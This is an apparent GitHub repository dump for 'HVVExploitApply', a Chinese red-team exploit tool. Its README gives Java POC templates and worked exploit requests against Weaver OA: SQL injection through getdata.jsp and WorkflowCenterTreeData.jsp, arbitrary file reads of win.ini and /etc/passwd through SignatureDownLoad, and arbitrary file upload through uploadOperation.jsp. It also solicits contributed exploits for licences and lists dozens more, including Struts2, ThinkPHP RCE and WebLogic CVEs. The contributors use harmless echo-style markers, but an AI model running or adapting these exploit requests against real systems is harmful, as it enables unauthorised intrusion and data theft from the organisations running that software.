├── HVVExploitApply - POC模版文档.pdf ├── LICENSE └── README.md /HVVExploitApply - POC模版文档.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ExpLangcn/HVVExploitApply_POC/45f49d0d019ae3a26e86a04f246df0b4edcb26f5/HVVExploitApply - POC模版文档.pdf -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HVVExploitApply - POC模版文档 2 | 3 | **贡献10+POC可获取:工具授权使用名额X1** 4 | 5 | # 基础语法介绍 6 | 7 | 指定Cookie信息: 8 | 9 | ```java 10 | Cookie.put("name","key"); 11 | Cookie.put("name2","key2"); 12 | ... 13 | ``` 14 | 15 | 指定Headers信息: 16 | 17 | ```java 18 | Headers.put("Content-Type","application/octet-stream"); 19 | Headers.put("Cmd","whoami"); 20 | ... 21 | ``` 22 | 23 | # 模版介绍 24 | 25 | ## 单GET请求 26 | 27 | 只需要访问单次的GET请求 28 | 29 | ```java 30 | public static boolean Testname(String url) { 31 | // Testname 意思是漏洞的名称或者接口,自定义即可,但必须英文字母开头,如果有特殊符号请使用下划线 “_” 代替。 32 | 33 | Map Cookie = new HashMap<>(); 34 | // 新建一个Cookie的map,如果不需要指定Cookie就可以不用管 35 | 36 | Map Headers = new HashMap<>(); 37 | // 新建一个Headers的map,如果不需要指定一些Headers就可以不用管 38 | 39 | boolean good = false; 40 | // 定义一个接收返回值的变量 41 | 42 | LinkedList Result = Request.Get(url+"需要访问的地址,例如:/1.txt", Cookie, Headers, true); 43 | // 使用Get方式发送请求,需要提供url参数,如果需要访问指定地址的话通过加号拼接即可,其他参数不用管 44 | 45 | if (Result.size() > 0) { 46 | // 判断请求是否成功且正常,不用管 47 | 48 | good = Result.get(2).contains("Test"); 49 | // 获取响应源代码然后在源代码中寻找指定内容:“Test”,如果存在则返回true,不存在就返回false 50 | 51 | } 52 | return good; 53 | // 返回是否存在漏洞 54 | 55 | } 56 | ``` 57 | 58 | ## 单POST请求 59 | 60 | 只需要访问单次的POST请求 61 | 62 | ```java 63 | public static boolean Testname(String url) { 64 | // Testname 意思是漏洞的名称或者接口,自定义即可,但必须英文字母开头,如果有特殊符号请使用下划线 “_” 代替。 65 | 66 | Map Cookie = new HashMap<>(); 67 | // 新建一个Cookie的map,如果不需要指定Cookie就可以不用管 68 | 69 | Map Headers = new HashMap<>(); 70 | // 新建一个Headers的map,如果不需要指定一些Headers就可以不用管 71 | 72 | String Body = "Test"; 73 | // 把需要发送的POST数据放到一个名为Body的变量中 74 | 75 | boolean good = false; 76 | // 定义一个接收返回值的变量 77 | 78 | LinkedList Result = Request.Post(url+"需要访问的地址,例如:/1.txt";, Body, Cookie, Headers, true); 79 | // 使用Post方式发送请求,需要提供url参数和Post数据,如果需要访问指定地址的话通过加号拼接即可,其他参数不用管 80 | 81 | if (Result.size() > 0) { // 判断请求是否成功且正常,不用管 82 | good = Result.get(2).contains("Test"); 83 | // 获取响应源代码然后在源代码中寻找指定内容:“Test”,如果存在则返回true,不存在就返回false 84 | 85 | } 86 | return good; 87 | // 返回是否存在漏洞 88 | 89 | } 90 | ``` 91 | 92 | ## 多次请求 93 | 94 | 需要访问多次请求,例如多个Payload或者上传漏洞、组合利用漏洞等可能需要这个方式 95 | 96 | ### \[Get] 多个Payload: 97 | 98 | ```java 99 | public static boolean Testname(String url) { 100 | // Testname 意思是漏洞的名称或者接口,自定义即可,但必须英文字母开头,如果有特殊符号请使用下划线 “_” 代替。 101 | 102 | Map Cookie = new HashMap<>(); 103 | // 新建一个Cookie的map,如果不需要指定Cookie就可以不用管 104 | 105 | Map Headers = new HashMap<>(); 106 | // 新建一个Headers的map,如果不需要指定一些Headers就可以不用管 107 | 108 | boolean good = false; 109 | // 定义一个接收返回值的变量 110 | 111 | LinkedList Result = Request.Get(url+"第一次需要访问的地址,例如:/payload1.jsp", Cookie, Headers, true); 112 | // 使用Get方式发送第一次请求,需要提供url参数,如果需要访问指定地址的话通过加号拼接即可,其他参数不用管 113 | 114 | if (Result.size() > 0) { 115 | // 判断请求是否成功且正常,不用管 116 | 117 | if(!Result.get(2).contains("Test1")){ 118 | // 获取响应源代码然后在源代码中寻找指定内容:“Test1”,如果存在则返回true,不存在就返回false 119 | // 如果存在上面那个关键词则会执行下列代码 120 | 121 | Result.clear(); 122 | // 清空第一次请求的返回信息 123 | 124 | Result = Request.Get(url+"第二次需要访问的地址,例如:/payload2.jsp", Cookie, Headers, true); 125 | // 使用Get方式发送第二次请求,需要提供url参数,如果需要访问指定地址的话通过加号拼接即可,其他参数不用管 126 | 127 | good = Result.get(2).contains("Test2"); 128 | // 获取响应源代码然后在源代码中寻找指定内容:“Test2”,如果存在则返回true,不存在就返回false 129 | 130 | }else { 131 | good = Result.get(2).contains("Test1"); 132 | // 注意这个else,这个是if !Result.get(2).contains("Test1") 的else,所以这里需要判断"Test1" 133 | // 获取响应源代码然后在源代码中寻找指定内容:“Test1”,如果存在则返回true,不存在就返回false 134 | } 135 | } 136 | return good; 137 | // 返回是否存在漏洞 138 | 139 | } 140 | ``` 141 | 142 | ### \[Post] 上传漏洞: 143 | 144 | ```java 145 | public static boolean Testname(String url) { 146 | // Testname 意思是漏洞的名称或者接口,自定义即可,但必须英文字母开头,如果有特殊符号请使用下划线 “_” 代替。 147 | 148 | Map Cookie = new HashMap<>(); 149 | // 新建一个Cookie的map,如果不需要指定Cookie就可以不用管 150 | 151 | Map Headers = new HashMap<>(); 152 | // 新建一个Headers的map,如果不需要指定一些Headers就可以不用管 153 | 154 | Headers.put("Content-Type","application/octet-stream"); 155 | // 指定上传文件的文件类型,因为Type属于Header,所以直接新增Headers即可 156 | 157 | String Body = "Test"; 158 | // 把需要发送的POST数据放到一个名为Body的变量中 159 | // 注意:上传漏洞的Post数据就是要上传的文件数据,上传内容必须为Test,文件名必须是txt格式! 160 | 161 | boolean good = false; 162 | // 定义一个接收返回值的变量 163 | 164 | LinkedList Result = Request.Upload(url+"/page/exportImport/uploadOperation.jsp", "filename",Body,"test.txt", Cookie, Headers, true); 165 | // 使用Post方式发送上传文件的请求,需要提供url参数和Post数据还有要上传的文件名和filename,如果需要访问指定地址的话通过加号拼接url即可,其他参数不用管 166 | // filename介绍看下图 167 | 168 | if (Result.size() > 0) { 169 | // 判断请求是否成功且正常,不用管 170 | 171 | if (Integer.parseInt(Result.get(1)) == 200){ 172 | // 获取相应状态码并且转换为int类型(默认是string类型),然后判断是否等于200,如果等于200则返回true,如果不等于200那么返回false 173 | // 如果等于200则执行下面代码 174 | // 200可以自定义,因为有一些上传后给你返回的可能是400,所以要根据漏洞写 175 | 176 | Result.clear(); 177 | // 清空第一次请求的返回信息 178 | 179 | Result = Request.Get(url+"/test.txt", Cookie, Headers, true); 180 | // 使用Get方式发送第二次请求,需要提供url参数,如果需要访问指定地址的话通过加号拼接即可,其他参数不用管 181 | // 这里访问的是上传的文件,看看是否上传成功了 182 | 183 | good = Result.get(2).contains("Test"); 184 | // 获取响应源代码然后在源代码中寻找指定内容:“Test”,如果存在则返回true,不存在就返回false 185 | 186 | }else { 187 | good = false; 188 | // 注意这个else,这个是if Integer.parseInt(Result.get(1)) == 200 的else,所以这里直接返回false,因为既然不等于200了,那么就是上传失败了 189 | 190 | } 191 | } 192 | return good; 193 | // 返回是否存在漏洞 194 | 195 | } 196 | ``` 197 | 198 | ![](https://tva1.sinaimg.cn/large/e6c9d24egy1h58qez9argj217a0e0wgn.jpg) 199 | 200 | # 用例 201 | 202 | ## 单GET请求 203 | 204 | [点击查看漏洞详情](http://wiki.peiqi.tech/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20getdata.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html) 205 | 206 | ```java 207 | public static boolean getdatasql(String url) { 208 | Map Cookie = new HashMap<>(); 209 | Map Headers = new HashMap<>(); 210 | 211 | boolean good = false; 212 | LinkedList Result = Request.Get(url+"/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20concat('13579','24680')%20as%20id%20from%20HrmResourceManager", Cookie, Headers, true); 213 | if (Result.size() > 0) { 214 | good = Result.get(2).contains("1357924680"); 215 | } 216 | return good; 217 | } 218 | ``` 219 | 220 | ## 单POST请求 221 | 222 | [点击查看漏洞详情](http://wiki.peiqi.tech/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20WorkflowCenterTreeData%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html) 223 | 224 | ```java 225 | public static boolean WorkflowCenterTreeDataSQL(String url) { 226 | Map Cookie = new HashMap<>(); 227 | Map Headers = new HashMap<>(); 228 | 229 | String Body = "formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion select NULL,BANNER from v$version order by (((1"; 230 | boolean good = false; 231 | LinkedList Result = Request.Post(url+"/mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333", Body, Cookie, Headers, true); 232 | if (Result.size() > 0) { 233 | good = Result.get(2).contains("Oracle Database"); 234 | } 235 | return good; 236 | } 237 | ``` 238 | 239 | ## 多Payload请求 240 | 241 | [点击查看漏洞详情](http://wiki.peiqi.tech/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Weaver%20SignatureDownLoad%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html) 242 | 243 | ```java 244 | public static boolean SignatureDownLoad(String url) { 245 | Map Cookie = new HashMap<>(); 246 | Map Headers = new HashMap<>(); 247 | 248 | boolean good = false; 249 | LinkedList Result = Request.Get(url+"/weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27C:/Windows/win.ini%27", Cookie, Headers, true); 250 | 251 | if (Result.size() > 0) { 252 | if(!Result.get(2).contains("app support")){ 253 | Result.clear(); 254 | Result = Request.Get(url+"/weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27/etc/passwd%27", Cookie, Headers, true); 255 | good = Result.get(2).contains("root:x"); 256 | }else { 257 | good = Result.get(2).contains("app support"); 258 | } 259 | } 260 | 261 | return good; 262 | } 263 | ``` 264 | 265 | ## 上传漏洞 266 | 267 | [点击查看漏洞详情](http://wiki.peiqi.tech/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20uploadOperation.jsp%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.html) 268 | 269 | ```java 270 | public static boolean uploadOperation(String url) { 271 | Map Cookie = new HashMap<>(); 272 | Map Headers = new HashMap<>(); 273 | Headers.put("Content-Type","application/octet-stream"); 274 | 275 | String Body = "Test"; 276 | boolean good = false; 277 | LinkedList Result = Request.Upload(url+"/page/exportImport/uploadOperation.jsp", "file",Body,"test.txt", Cookie, Headers, true); 278 | if (Result.size() > 0) { 279 | if (Integer.parseInt(Result.get(1)) == 200){ 280 | Result.clear(); 281 | Result = Request.Get(url+"/page/exportImport/fileTransfer/test.txt", Cookie, Headers, true); 282 | good = Result.get(2).contains("Test"); 283 | }else { 284 | good = false; 285 | } 286 | } 287 | return good; 288 | } 289 | ``` 290 | 291 | *** 292 | 293 | > 📌写好后请将代码发送给微信:**backxyh** 294 | 295 | > **每个POC需提供最少3个检测用例** 296 | 297 | ---- 298 | 299 | 注释和例子写的很详细了,不会Java的话也可以直接按照模版往里套就好。 300 | 301 | POC写完后加微信:backxyh提交即可,兑换也是找这个微信。 302 | 303 | 可以先对照peiqi文库的漏洞信息进行编写,http://wiki.peiqi.tech/ 304 | 305 | 注:提交的漏洞严禁带有攻击性,请提交前自查,代码执行所执行的代码必须是print之类的函数,命令执行所执行的命令必须是echo命令,如果需要dnslog请联系上方微信。 306 | 307 | ## 当前已有漏洞 308 | ### 泛微漏洞(PeiQi文库发布的已写完) 309 | * 泛微OA E-Bridge saveYZJFile 任意文件读取漏洞 - @backxyh 310 | * 泛微OA E-Cology BshServlet 远程代码执行漏洞 CNVD-2019-32204 - @backxyh 311 | * 泛微OA E-Cology HrmCareerApplyPerView.jsp SQL注入漏洞 - @backxyh 312 | * 泛微OA E-Cology LoginSSO.jsp SQL注入漏洞 CNVD-2021-33202 - @backxyh 313 | * 泛微OA E-Cology getSqlData SQL注入漏洞 - @backxyh 314 | * 泛微OA E-Cology users.data 敏感信息泄漏 - @backxyh 315 | * 泛微OA E-Office UploadFile.php 任意文件上传漏洞 CNVD-2021-49104 - @backxyh 316 | * 泛微OA E-Office UserSelect 未授权访问漏洞 - @backxyh 317 | * 泛微OA E-Office group_xml.php SQL注入漏洞 - @backxyh 318 | * 泛微OA E-Office mysql_config.ini 数据库信息泄漏漏洞 - @backxyh 319 | * 泛微OA E-Office officeserver.php 任意文件读取漏洞 - @backxyh 320 | * 泛微OA E-Weaver SignatureDownLoad 任意文件读取漏洞 - @backxyh 321 | * 泛微OA E-Weaver ln.FileDownload 任意文件读取漏洞 - @backxyh 322 | * 泛微OA WorkflowCenterTreeData SQL注入漏洞 - @backxyh 323 | * 泛微OA getdata.jsp SQL注入漏洞 - @backxyh 324 | * 泛微OA uploadOperation.jsp 任意文件上传 - @backxyh 325 | ### 通达漏洞(PeiQi文库发布的已写完) 326 | * 通达OA v2014 get_contactlist.php 敏感信息泄漏漏洞 - @WAIT_WAIT_ing 327 | * 通达OA v2017 video_file.php 任意文件下载漏洞 - @WAIT_WAIT_ing 328 | * 通达OA v2017 登录绕过 - @_920169 329 | ### 万户漏洞(PeiQi文库发布的已写完) 330 | * 万户OA download_ftp.jsp 任意文件下载漏洞 - @WAIT_WAIT_ing 331 | * 万户OA downloadhttp.jsp 任意文件下载漏洞 - @WAIT_WAIT_ing 332 | ### 用友漏洞(PeiQi文库发布的已写完) 333 | * 用友 NC NCFindWeb 任意文件读取漏洞 - @WAIT_WAIT_ing 334 | * 用友 ERP-NC NCFindWeb 目录遍历漏洞 - @WAIT_WAIT_ing 335 | * 用友 U8 OA test.jsp SQL注入漏洞 - cat_fl4g 336 | ### 蓝凌漏洞(PeiQi文库发布的已写完) 337 | * 蓝凌OA Datajson 未授权RCE漏洞 - @cat_fl4g 338 | ### 智名(PeiQi文库发布的已写完) 339 | ### 数据库漏洞 340 | #### Couchdb 341 | * Couchdb 垂直权限绕过漏洞(CVE-2017-12635) - @QAQxiaoxx 342 | ### CMS框架漏洞 343 | * Atlassian Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134) - @QAQxiaoxx 344 | * 狮子鱼CMS ApiController.class.php SQL注入漏洞 - @Ruojihack 345 | * 狮子鱼CMS ApigoodController.class.php SQL注入漏洞 - @Ruojihack 346 | * 狮子鱼CMS image_upload.php 任意文件上传 - @Ruojihack 347 | * 狮子鱼CMS wxapp.php 任意文件上传漏洞 - @Ruojihack 348 | ### 重点关注系统 349 | * Struts2-013 - @Ruojihack 350 | * Struts2-016 - @Ruojihack 351 | * Struts2-019 - @Ruojihack 352 | * Struts2-032 - @Ruojihack 353 | * Struts2-033 - @Ruojihack 354 | * Struts2-048 - @Ruojihack 355 | * Struts2-057 - @Ruojihack 356 | * thinkphp 5.0.23_完整版_debug模式 - @Ruojihack 357 | * thinkphp 5.1.x 和 5.2.x 和 5.0.x_完整版_debug模式 - @Ruojihack 358 | * thinkphp-RCE-POC-5.X_1 - @Ruojihack 359 | * thinkphp-RCE-POC-5.X_2 - @Ruojihack 360 | * thinkphp-RCE-POC-5.X_3 - @Ruojihack 361 | * thinkphp-RCE-POC-5.X_4 - @Ruojihack 362 | * thinkphp-RCE-POC-5.X_5 - @Ruojihack 363 | * thinkphp-RCE-POC-5.X_6 - @Ruojihack 364 | * thinkphp-RCE-POC-5.X_7 - @Ruojihack 365 | * thinkphp-RCE-POC-5.X_8 - @Ruojihack 366 | * thinkphp-RCE-POC-5.X_9 - @Ruojihack 367 | * thinkphp5.0.10_完整版_debug模式 - @Ruojihack 368 | * WebLogic-CVE_2017_10271_10 - @backxyh 369 | * WebLogic-CVE_2017_10271_12 - @backxyh 370 | * WebLogic-CVE_2019_2725_10 - @backxyh 371 | * WebLogic-CVE_2019_2725_10_bypass - @backxyh 372 | * WebLogic-CVE_2019_2725_12_1 - @backxyh 373 | * WebLogic-CVE_2019_2725_12_2 - @backxyh 374 | * WebLogic-CVE_2020_14882 - @backxyh 375 | --------------------------------------------------------------------------------